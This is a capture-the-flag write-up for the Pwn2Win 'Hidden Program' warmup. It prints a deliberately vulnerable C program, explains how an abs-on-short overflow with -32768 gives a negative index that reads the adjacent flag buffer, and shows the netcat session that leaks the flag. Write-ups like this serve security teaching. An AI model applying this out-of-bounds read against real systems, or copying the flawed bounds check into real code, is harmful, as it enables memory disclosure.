[Pwn] Pwn2Win - Hidden Program (Warmup)


Hidden Program (Warmup)

Molly found this program hidden on her chip, can you help her to understand it?

Link:
https://cloud.ufscar.br:8080/v1/AUTH_c93b694078064b4f81afd2266a502511/static.pwn2win.party/hiddenprogram_d502a4418484effac415ffb57dfd658b1123dd530fd01714755958bd4b8c1289.tar.gz

Mirror:
https://static.pwn2win.party/hiddenprogram_d502a4418484effac415ffb57dfd658b1123dd530fd01714755958bd4b8c1289.tar.gz

Server: nc 200.136.213.126 1988

Id: hidden_program

Total solves: 145

Score: 82

Categories: Exploitation

After extracting we have a .c file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <limits.h>
#include <string.h>

typedef struct
{
char flag[SHRT_MAX+1];
char in[SHRT_MAX+1];
char sub[SHRT_MAX+1];
int n;
} player;

player p1;

void main()
{
FILE *fp = fopen("/home/user/ctf/flag","r");
memset(p1.flag,0,sizeof(p1.flag));
fscanf(fp,"%[^\n]",p1.flag);
fclose(fp);
printf("%s\n", p1.in);
while(1)
{
printf("Insert a short integer: ");
fflush(stdout);
scanf(" %d", &p1.n);
if(p1.n>SHRT_MAX)
printf("Invalid number\n\n");
else break;
}
p1.n = (short)abs((short)p1.n);
printf("Insert a string: ");
fflush(stdout);
scanf("%10000s",p1.in);
printf("Insert another string: ");
fflush(stdout);
scanf("%10000s",p1.sub);
if(strcmp(&p1.in[p1.n],p1.sub)==0) printf("Congratulations!! YOU WIN!!\n");
else
printf("\tYou lost!!!\n\
In the string %s the substring in the position %d is %s\n\
Try again...\n", p1.in, p1.n, &p1.in[p1.n]);
fflush(stdout);
}

Resuming what this program is doing, first it opens the flag file from the server and stores it in the c struct field p1.flag:

1
2
3
4
FILE *fp = fopen("/home/user/ctf/flag","r");
memset(p1.flag,0,sizeof(p1.flag));
fscanf(fp,"%[^\n]",p1.flag);
fclose(fp);

Then reads from the stdin using scanf for a short int (stores it in p1.n= and two strings (stores them in p1.in and p1.sub).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
while(1) {
printf("Insert a short integer: ");
fflush(stdout);
scanf(" %d", &p1.n);
if(p1.n>SHRT_MAX)
printf("Invalid number\n\n");
else break;
}
p1.n = (short)abs((short)p1.n);
printf("Insert a string: ");
fflush(stdout);
scanf("%10000s",p1.in);
printf("Insert another string: ");
fflush(stdout);
scanf("%10000s",p1.sub);

In the end we have this check:

1
2
3
4
5
6
if(strcmp(&p1.in[p1.n],p1.sub)==0) 
printf("Congratulations!! YOU WIN!!\n");
else
printf("\tYou lost!!!\n\
In the string %s the substring in the position %d is %s\n\
Try again...\n", p1.in, p1.n, &p1.in[p1.n]);

Well the strcmp does a compares between p1.n[p1.n] character and the string p1.sub, if they are equal it prints out the string “Congratulations!! YOU WIN!!\n”, well we can see that making strcmp matching this will lead to nothing just a useless string, what we are interested what comes after else

Since we can control the index with p1.n, we can actually make this printf to print the flag which is p1.flag we just need to get the offset between p1.in and p1.flag we can get this easily with gdb:

First lets compile the file with gcc:

1
2
3
4
$ gcc hiddenprogram.c -ggdb -o lol 
hiddenprogram.c: In function ‘main’:
hiddenprogram.c:31:19: warning: implicit declaration of function ‘abs’ [-Wimplicit-function-declaration]
p1.n = (short)abs((short)p1.n);

The –gdb is very useful gives us alot of debugging information with gdb, we can view where we are located in the source code, breakpoints indicating the line numbers and even print variables by just using its names much easier than looking at assembly and print using addresses right?





After using gdb we know where each variable from the struct begins doing a simple subtraction we can get the offset we need to print the flag:

1
2
$ python -c "print 0x5555557550a0-0x55555575d0a0"
-32768

The real problem in all this is that we need a negative value, and there is a ABS function making us fail:

1
p1.n = (short)abs((short)p1.n);

For some reason actually after the negative number when >= -32768 the abs won’t do anything (I don’t really know why maybe its because the short cast? but if you know why this happens please tweet me or make a post in the comments)! this is perfect that’s what we really needed, you can see how the abs is doing with this program:

1
2
3
4
5
6
7
8
#include<stdio.h>

int main() {
int below=(short)abs((short)-32767);
int value_we_need=(short)abs((short)-32768);
int higher=(short)abs((short)-32769);
printf("%d %d %d\n", below,value_we_need,higher);
}

Running it:

1
2
3
4
5
6
7
$ gcc wtf.c -o wtf
wtf.c: In function ‘main’:
wtf.c:4:21: warning: implicit declaration of function ‘abs’ [-Wimplicit-function-declaration]
int below=(short)abs((short)-32767);
^~~
$ ./wtf
32767 -32768 32767

Now applying this with the service we get the flag by injection -32768:

1
2
3
4
5
6
7
8
nc 200.136.213.126 1988

Insert a short integer: -32768
Insert a string: 1
1Insert another string: 1
You lost!!!
In the string 1 the substring in the position -32768 is CTF-BR{Th1s_1S_4_50_5Imp13_C_exp1017_}
Try again...